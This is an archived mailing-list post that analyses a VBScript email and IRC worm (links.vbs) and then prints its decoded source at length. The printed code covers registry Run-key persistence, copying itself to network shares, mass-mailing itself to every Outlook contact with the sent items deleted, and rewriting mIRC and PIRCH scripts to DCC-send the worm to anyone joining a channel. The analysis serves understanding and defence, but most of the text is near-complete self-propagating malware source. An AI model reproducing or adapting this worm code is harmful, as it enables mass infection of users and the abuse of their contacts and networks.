Whoever wrote that recursive, obfuscated piece of mess should be revered
and shunned at once. Man, what a pain to decode. Anyways, for those of
you who care, essentially what it does, start to finish:
* You get it in email (or IRC, but we'll get to that) (called links.vbs)
* You run it.
* It spews out a child script called rundll.vbs, and tweaks the Run key in
the registry
* Asks you if you want a link to a porn site (www.sublimedirectory.com)
on your desktop...if so, makes it
* Copies itself to any network-mapped/UNC shares you have available
* Opens Outlook and sends itself to everyone in your AddressList
Subject: Check this
Message:
Have fun with these links.
Bye.
It also attaches itself (links.vbs)
--So there you go. Now, don't forget about rundll.vbs in your Run key.
On your next boot, it will:
* Recreate links.vbs (kinda cool...recreating the parent script)
* Search your hard drive for standard installs of MIRC and PIRCH. If
found, modify the scripts to dcc send links.vbs to everyone who
enters a chat room you're in.
--That's it.
So propagation includes email and IRC. Solution? As always, don't run
anything sent to you, especially if it tempts you with free porn. :) I
guess you could disable scripting and whatnot, but that's a poor action to
protect against stupidity.
I've included the 'decoded' script below for viewing pleasure. You'll
just have to deal with the line wraps.
BTW, for those of you aware, no, I did not release something last
week/last weekend. I *do* have something, but I'm finishing up
documentation. Don't worry, I will release more stuff. And this does not
count. :)
Groovy,
.rain.forest.puppy.
-----------------------------------
' this is the decoded virus (not functional)
On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream = False And Mid(A3,40,10) <> "`sd]Lhbsnr"
A3 = A2.ReadLine ' this will be the regwrite line
Loop
A2.Close
Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS",True)
'
'
' Start A4.Writeline decoded mess
'
' Essentially of of these where wrappered in A4.WriteLine(), and would be
written to
' A4 (text file opened above)
'
' Note that spacing and comments are my own
'
' ------------------------------------------------------------------------
' Being child script
'
On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream = False And Mid(A3,43,10) <> "f[Njdqptpe"
A3 = A2.ReadLine
Loop
A2.Close
Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"),True)
' A4 is going to reconstruct the original doc
A4.WriteLine("On Error Resume Next")
A4.WriteLine("Set A1 = CreateObject(""Scripting.FileSystemObject"")")
A4.WriteLine("Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)")
A4.WriteLine("Do While A2.AtEndOfStream = False And Mid(A3,40,10) <>
""`sd]Lhbsnr""")
A4.WriteLine("A3 = A2.ReadLine")
A4.WriteLine("Loop")
A4.WriteLine("A2.Close")
A4.WriteLine("Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),""RUNDLL.VBS"",True)")
Set A5 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A5.AtEndOfStream = False
A4.WriteLine("A4.WriteLine(B(""" & C(Replace(A5.ReadLine, """","""""") &
"""))")
Loop ' re-encode ourselves and put us back
A5.Close
'
' ----------------------------------------------------------------------
' Write this to the end of A4 (sub-sub script)
'
A4.Close
Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Rundll",A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS")
If MsgBox("This will add a shortcut to free XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6 Then
Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders("Desktop"),"FREE XXX
LINKS.URL",True)
A6.WriteLine("[InternetShortcut]")
A6.WriteLine("URL=http://www.sublimedirectory.com/")
A6.Close
End If
Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
For A9 = 0 To A8.Count - 1
If InStr(A8.Item(A9),B("]]")) <> 0 Then
A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
End If
Next
End If
Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")
For Each A12 In A11.AddressLists
Set A13 = A10.CreateItem(0)
For A14 = 1 To A12.AddressEntries.Count
Set A15 = A12.AddressEntries(A14)
If A14 = 1 Then
A13.BCC = A15.Address
Else
A13.BCC = A13.BCC & ";" & A15.Address
End If
Next
A13.Subject = "Check this"
A13.Body = "Have fun with these links." & Chr(13) & Chr(10) & "Bye."
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit = True
A13.Send
Next
Function B(B1) ' was the decode function
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
'
' End crap written to A4 (sub-sub script to create original)
'
-----------------------------------------------------------------------------
'
A4.Close
' this attempts to infect IRC script files found on all drives
For Each A6 In A1.Drives
If A6.DriveType = 2 Then
D A6.DriveLetter & ":\MIRC"
D A6.DriveLetter & ":\PIRCH98"
End If
Next
Set A7 = CreateObject("WScript.Shell")
D
A7.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
Function B(B1) ' function to decode
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 32 And Asc(Mid(B1,B2,1)) <> 33 And
Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 160 And Asc(Mid(B1,B2,1))
<> 255 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,8,1)) - 2,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,8,1)) - 2,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
Function C(C1) ' function to encode
For C2 = 1 To Len(C1)
If Asc(Mid(C1,C2,1)) <> 34 And Asc(Mid(C1,C2,1)) <> 35 And
Asc(Mid(C1,C2,1)) <> 126 Then
If Asc(Mid(C1,C2,1)) Mod 2 = 0 Then
C = C & Chr(Asc(Mid(C1,C2,1)) + Right(Asc(Mid(A3,18,1)) + 5,1))
Else
C = C & Chr(Asc(Mid(C1,C2,1)) - Right(Asc(Mid(A3,18,1)) + 5,1))
End If
Else
C = C & Mid(C1,C2,1)
End If
Next
End Function
Sub D(D1) ' infect IRC scripts
If A1.FolderExists(D1) = True Then
For Each D2 In A1.GetFolder(D1).Files
If UCase(D2.Name) = "MIRC32.EXE" Then
Set D3 =
A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,"SCRIPT.INI"),True)
D3.WriteLine("[script]")
D3.WriteLine("n0=on 1:join:#:if $me != $nick dcc send $nick") &
A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"))
D3.Close
End If
If UCase(D2.Name) = "PIRCH98.EXE" Then
Set D4 = A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,
"EVENTS.INI"),True)
'
' Printed decoded output to D4 (Pirch98's events.ini)
'
[Levels]
Enabled=1
Count=6
Level1=000-Unknowns
000-UnknownsEnabled=1
Level2=100-Level 100
100-Level 100Enabled=1
Level3=200-Level 200
200-Level 200Enabled=1
Level4=300-Level 300
300-Level 300Enabled=1
Level5=400-Level 400
400-Level 400Enabled=1
Level6=500-Level 500
500-Level 500Enabled=1
[000-Unknowns]
User1=*!*@*
UserCount=1
'
' Notice code here
'
D4.WriteLine("Event1=ON JOIN:#:/dcc send $nick " &
A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"))
'
'
'
EventCount=1
[100-Level 100]
UserCount=0
EventCount=0
[200-Level 200]
UserCount=0
EventCount=0
[300-Level 300]
UserCount=0
EventCount=0
[400-Level 400]
UserCount=0
EventCount=0
[500-Level 500]
UserCount=0
EventCount=0
'
' End decoded output to A1
'
D4.Close
End If
Next
For Each D5 In A1.GetFolder(D1).SubFolders
D D5.Path
Next
End If
End Sub
'
' End child script
'
-------------------------------------------------------------------------------------
'
A4.Close
Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Rundll",A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS")
If MsgBox("This will add a shortcut to free XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6 Then
Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders("Desktop"),"FREE XXX
LINKS.URL",True)
A6.WriteLine("[InternetShortcut]")
A6.WriteLine("URL=http://www.sublimedirectory.com/")
A6.Close
End If
Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
For A9 = 0 To A8.Count - 1
If InStr(A8.Item(A9),"\\") <> 0 Then
A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
End If
Next
End If
Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")
For Each A12 In A11.AddressLists
Set A13 = A10.CreateItem(0)
For A14 = 1 To A12.AddressEntries.Count
Set A15 = A12.AddressEntries(A14)
If A14 = 1 Then
A13.BCC = A15.Address
Else
A13.BCC = A13.BCC & ";" & A15.Address
End If
Next
A13.Subject = "Check this"
A13.Body = "Have fun with these links." & Chr(13) & Chr(10) & "Bye."
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit = True
A13.Send
Next
Function B(B1) ' was the decode function
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:08:08 PDT